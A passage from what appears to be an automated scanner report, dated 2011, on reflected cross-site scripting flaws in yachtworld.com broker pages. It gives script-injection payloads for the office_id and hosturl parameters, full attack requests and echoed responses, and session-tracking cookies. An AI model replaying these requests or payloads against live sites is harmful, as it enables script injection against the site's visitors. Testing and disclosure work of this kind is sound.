s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:01:40 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the office_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d15d"><script>alert(1)</script>a4256dea441 was submitted in the office_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /southpaw/email.cgi?url=southpaw&office_id=1123775d15d"><script>alert(1)</script>a4256dea441 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:48:00 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!-- this file is generated automatically --> <!-- any changes you make will be written over --> <html> <head> <TITLE>Southpaw Yacht Sales (Greenwich, CT)</TITLE> <META name="keywords" conten ...[SNIP]... <INPUT TYPE="hidden" NAME="office_id" VALUE="1123775d15d"><script>alert(1)</script>a4256dea441"> ...[SNIP]...
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload 250f5<script>alert(1)</script>3f56b3eb3b0 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /southpaw/southpaw_1.cgi?company=southpaw&limit=50&type=&new=&units=Feet&hosturl=southpaw250f5<script>alert(1)</script>3f56b3eb3b0&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:48:17 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/southpaw250f5<scrip ...[SNIP]... </script>3f56b3eb3b0/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/southpaw250f5<script>alert(1)</script>3f56b3eb3b0/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/southpaw250f5<script> ...[SNIP]...
The value of the hosturl request parameter is copied into an HTML comment. The payload 785ea--><script>alert(1)</script>40b6889262d was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /southpaw/southpaw_1.cgi?company=southpaw&limit=50&type=&new=&units=Feet&hosturl=southpaw785ea--><script>alert(1)</script>40b6889262d&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:48:24 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the office_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f37ed"><script>alert(1)</script>7abdd91c6ac was submitted in the office_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /starlingmarine/email.cgi?url=starlingmarine&office_id=112083f37ed"><script>alert(1)</script>7abdd91c6ac HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:37:25 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!-- this file is generated automatically --> <!-- any changes you make will be written over --> <html> <head> <TITLE>Starling Marine (Willmington, NC)</TITLE> <META name="keywords" content=" ...[SNIP]... <INPUT TYPE="hidden" NAME="office_id" VALUE="112083f37ed"><script>alert(1)</script>7abdd91c6ac"> ...[SNIP]...
The value of the hosturl request parameter is copied into an HTML comment. The payload 1bb04--><script>alert(1)</script>7103eb8b5e4 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /starlingmarine/starlingmarine_1.cgi?company=starlingmarine&limit=50&type=&new=&units=Feet&hosturl=starlingmarine1bb04--><script>alert(1)</script>7103eb8b5e4&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; 